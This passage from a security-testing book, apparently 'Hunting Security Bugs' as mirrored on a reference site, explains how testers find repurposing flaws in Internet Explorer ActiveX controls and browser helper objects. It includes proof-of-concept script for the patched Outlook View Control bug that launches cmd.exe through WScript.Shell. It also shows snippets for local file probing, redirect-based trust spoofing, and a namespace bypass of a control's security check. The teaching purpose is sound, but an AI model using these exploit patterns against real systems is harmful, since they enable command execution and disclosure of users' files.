 <script> //If the return value is true, we know the file exists. if (OpenFile("c:\secret.txt")) {      alert("File Exists!"); } else {      alert("File Does Not Exist"); } </script> 

Because the return value of OpenFile is a Boolean value (although this would work equally well for long values and other data types), you can use that to your advantage. Specifically looking at the return value in this case tells you whether the file exists.

Tip  

In addition to using try-catch blocks and looking at return values, don t forget to look at events as well. Sometimes the number of times an event fires can also disclose information. A more subtle related issue is a timing attack. Even if the control doesn t expose why it couldn t load a configuration file, the time it takes might let the attacker know whether there was an attempt to parse the file.

Nested Objects

Attackers love this little secret: the scripting engine in Internet Explorer has no security in and of itself once it has an interface pointer. This means you can access unsafe objects through safe objects with no warning to the user, which means of course that those safe objects are really not very safe.

Important  

All unmanaged code script security in Internet Explorer effectively is done by the browser before the object is handed off to the scripting engine. This means that if the control creates another object and hands it to the scripting engine, no security is applied to that other object. If the object is safe, the programmer and tester are certifying that the other object is in fact safe. In many cases, Internet Explorer does not even know about that other object ”just the scripting engine.

Look at an example. The Microsoft Office Outlook View Control is great for Internet solution providers and developers who want to integrate Outlook s functionality with other cool stuff. This control also turned out to be an insecure example of how an ActiveX control can allow script in Web pages to access more powerful COM objects that Internet Explorer would never allow script to create.

 <object id="ViewControl" classid="clsid:0006F063-0000-0000-C000-000000000046"> <param name="Folder" value="Inbox"> </object> <script> function DoIt() { oItem=ViewControl.object.selection.Item(1); oWSh=oItem.Session.Application.CreateObject("WScript.Shell"); oWSh.Run("cmd.exe /k echo ProofOfConcept"); } setTimeout("DoIt()",2500); </script> 

How does this work? The attacker first specifies Inbox as a parameter on the < object > tag because the Inbox is one of the most likely folders to contain an item.

 <object id="ViewControl" classid="clsid:0006F063-0000-0000-C000-000000000046"> <param name="Folder" value="Inbox"> </object> 

The first script to run is the setTimeout( DoIt() ,2500); call, which waits 2.5 seconds (the attacker needs this because Outlook sometimes takes a little time to talk to the mail server and load the Inbox). Then the script calls a function (named DoIt ), which is where the payload lives.

 function DoIt() { oItem=ViewControl.object.selection.Item(1); oWSh=oItem.Session.Application.CreateObject("WScript.Shell"); oWSh.Run("cmd.exe /k echo ProofOfConcept"); } 

How does function DoIt work?

 oItem=ViewControl.object.selection.Item(1); 

The ViewControl.object addresses the object model of the control itself, rather than talking to Internet Explorer, which overrides the fact that Internet Explorer will return something different for the selection property if the exploit referenced ViewControl.selection instead. The ViewControl.object.selection is a collection of MailItem objects, which can be stored in a variable in JavaScript even though it is not directly creatable in JavaScript.

Caution  

When constructing test cases, make sure you are calling into the object itself instead of into the Internet Explorer Document Object Model (DOM). You can do this by setting breakpoints in the debugger, using the additional object in the script, or learning a lot about the DOM.

Because ViewControl.object.selection is a collection, it supports the Item method to retrieve a single item from the collection, so the attacker then gets the first item in the Inbox (the Outlook collections are one-based, unlike Internet Explorer collections, which are zero-based ) and puts it into oItem. The Outlook View Control isn t referenced by the script engine anymore at all. The script now has a regular Outlook MailItem object. The MailItem object is not safe at all, but there was no warning because the Outlook view control created the object, not Internet Explorer.

Important  

Objects the control creates are not subject to the Internet Explorer security model. This means you need to test for security issues around those other objects as well even if your programmers don t write these objects ”because your control is the one representing those objects as safe to the browser!

 oWSh=oItem.Session.Application.CreateObject("WScript.Shell"); 

Which properties and methods does that object support? Well, it turns out script can get the Messaging Application Programming Interface (MAPI) Session , and then the main Out look.Application object. That object has a CreateObject method that will create any COM object on the local system, so a good choice is the Windows Scripting Host (WSH) WScript.Shell object (which runs any commands).

 oWSh.Run("cmd.exe /k echo ProofOfConcept"); 

Normally, the WScript.Shell object is not scriptable because it cannot be created in script by Internet Explorer without low security settings and prompts. But what happened instead was the Outlook View Control created the Outlook.Application object, which in turn created the WScript.Shell object. After that, the object became scriptable in Internet Explorer.

More Info  

The Outlook View Control bug described here has been fixed. For more information, refer to http://www.microsoft.com/technet/security/Bulletin/MS01-038.mspx .

How can you spot these kinds of objects? Look for collections of objects and methods and properties that can return objects. Object Browser and OLEView can indicate when members are objects. Essentially, there are five data types to watch out for:

  • The IDispatch and IDispatch* objects are definitely objects, 100 percent of the time. Note that the trailing asterisk(*) indicates this data type is a pointer rather than a value.

  • VARIANT and VARIANT* mean the data type is unclear and might contain anything (including objects). Note that the VARIANT data type without the asterisk (*) can still contain interface pointers.

  • Data types that resolve to objects in the debugger Watch window.

  • Data types that have variables that return [object] in Internet Explorer with alert(variable); .

  • Unrecognizable data types.

Tip  

The VBScript TypeName function returns a specific object s type at run time.

Control Persistence ” Browser Helper Objects (BHOs)

Consider the COM component that doesn t go away when the HTML page is unloaded. Browser Helper Objects (BHOs) are an example of this class of component. They are different from ActiveX controls in that they usually load when Internet Explorer starts or the user clicks a menu item, and they respond to various events such as navigating to a Web page or submitting a form. BHOs have full access to programmatically manipulate the Web browser and all of the content on the Web pages. BHOs can be scripted from the web page, and they are just as vulnerable as other ActiveX controls to repurposing attacks.

More Info  

For more information about BHOs, refer to http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/bho.asp .

If your control has BHO functionality or if it remains active after the user navigates away from the page, you need to consider carefully the following example of a particular control because it allowed any malicious user to track the Internet usage of victims.

Tip  

When testing, don t think of each ActiveX control as a single unit but as a piece of a bigger environment.

This feature manages Web server discussion threads and appears when the appropriate page is viewed in Internet Explorer, which would display the Discussions toolbar at the bottom of the application window. The user could then use the commands on this toolbar to add a discussion server, specify what information will be displayed for a discussion, or subscribe to a particular Web page, or folder on a Web server.

In this particular case, the control has two interesting methods:

  • One that turns on the Discussions toolbar

  • Another that sets the default Discussion Server

The control by itself doesn t seem so bad, except that it had a weakness in how it communicates with the server. Once the Discussions toolbar is enabled, the control communicates with the specified server to see whether the server has any discussions for the given URL. It does this through an HTTP request that passes in the URL of the page the user is on as a query string parameter.

Tip  

Don t forget: ActiveX controls and BHOs are full Win32 executables. Tools such as Network Monitor and other security testing tools can be invaluable in helping you assess what the control is really doing. Don t assume that the browser generates all of the network traffic.

So the attacker s script can launch the toolbar and set their server to be the default. Then, the attacker only needs to view their Web logs to see which sites their victims are visiting. This can prove even worse for sites that pass session information or other juicy goods in query string parameters (even over Secure Sockets Layer) when the victim logs on or submits sensitive information.

Server Redirection

If your control asks the user to make security decisions based on the domain in a URL or presents the URL to the user to ask permission to process the URL in a particular way that might be insecure, you need to test for server redirection. Suppose the control has a simple method LoadFromURL that takes one parameter, a string value of the URL to load from. It looks like this:

 <script> AX.LoadFromURL("http://www.good.example.com/goodpage.asp"); </script> 

When the method is called, a dialog box comes up asking whether the user really wants to load the file from the good.example.com domain. Because the user trusts good.example.com , of course the user trusts the file. Then, change the URL:

 <script> var sURL = "http://www.good.example.com/?redir="; sURL += "http://www.bad.example.com/badpage.asp"; AX.LoadFromURL(sURL); </script> 

The dialog box opens again and asks whether the user wants to load the page from good.example.com . The user trusts good.example.com and so clicks OK. The control loads the file from bad.example.com .

Why does this happen? Is redirection the problem? Redirection is perfectly legitimate, and lots of sites do this. In this case, good.example.com has a page on its site that helps to redirect users to other pages on its site.

How does this work? The Active Server Page (ASP) page grabs the redir query string request value and issues a Response.Redirect command, passing in the redir query string (in this case, the bad.example.com page) as the URL to redirect to. Response.Redirect then sends down to the client a 302 (Object Moved) or similar HTTP response with the new location for the client to request ( bad.example.com ).

The attacker reused the control and a server s redirection to fool the user into loading a file from a URL the user might not trust. Some application programming interfaces (APIs) available to developers automatically follow the redirect, so behind the scenes everything just works ”for the attacker, that is.

Bypassing Browser Security Settings

In Internet Explorer 6 Service Pack 1 (SP1), the Internet Explorer team went a long way toward mitigating local cross-site scripting (XSS) attacks from the Internet domain. To implement a complete solution to local cross-site scripting attacks, ActiveX controls should also comply and not redirect to local content. If an ActiveX control redirects to local content when Internet Explorer bans such redirection, your ActiveX control serves as a method an attacker can use to bypass Internet Explorer security settings.

To find these bugs, first identify places in the control that load files or consume URLs. Next, try using these members of the ActiveX control to load local files. Finally, assess the result of your efforts by looking at the behavior of the control or using other tools such as FileMon. Briefly, here s how one example works:

 <object    classid="clsid:{12345678-1232-1234-3212-345654321234}"    id="objBuggy"> </object> <script>    // The control loads the URL specified in script in a new    //window in which it is hosting HTML.  objBuggy.IsEditMode=1;    //Redirect to a local file works fine    //Note that using equivalent script in Internet Explorer    // without the ActiveX control would fail because of the    // Internet Explorer security which blocks the action.  objBuggy.Url = "c:\foo.html#javascript:DoBadStuff()";    //Go for it!  objBuggy.ShowHTMLWindow; </script> 

Namespaces and Behaviors

Binary behaviors work like ActiveX controls that bind to specific HTML tags and can be initialized with tag properties and scripted by referencing the ID or name of the tag. Behaviors have the ability to control all aspects of HTML elements (catching events, setting values, and more). Binary behaviors are just like ActiveX controls from a security standpoint. You can find out more about binary behaviors at http://msdn.microsoft.com/library/default.asp?url=/workshop/browser/behaviors/howto/belementb.asp .

One particular ActiveX control programmer implemented a binary behavior to block potential malicious attacks using the control s ImportList method. In normal usage, the control was loaded as a behavior off of the <input type=file /> element as follows:

 <object classid="clsid:{BDEADE9E-C265-11d0-BCED-00A0C90AB50F}"  id="LauncherObj" style="display:none;"></object> <input id="SpreadsheetFile" Type="file" Name="SpreadsheetFile"  style="behavior: url(#LauncherObj);"> 

The <input type=file /> HTML element does not let script set the value property (which contains the filename to upload), otherwise malicious Web sites could upload arbitrary files from users hard disks. Knowing this, the programmer of the control added a security check to make sure it could bind only to the HTML < input > elements of Type=file .

How can the attacker bypass this binary behavior s security mechanism? There wasn t any way for the control to access files directly through the input element; instead, the attacker must fool the control into thinking it was loaded into an input element when in fact some other element bound to the behavior. This was done using HTML namespaces and expandos .

In a nutshell , a namespace can be added to any HTML document as follows:

 <HTML XMLNS:EVIL> 

In this example, the namespace is EVIL . A given HTML tag can be included in that namespace by prepending the namespace name to the tag name:

 <EVIL:IMG src="http://www.example.com/ing.jpg"> 

By defining an HTML namespace (called input ) the attacker fooled the control into thinking it was loaded by the <input type=file /> element; then, by setting the expando value=c:\filename.txt , the attacker could use the control to detect whether a local file existed, among other malicious things.

More Info  

For more information about HTML namespaces, see http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/xmlns.asp .



Hunting Security Bugs
Hunting Security Bugs
ISBN: 073562187X
EAN: 2147483647
Year: 2004
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net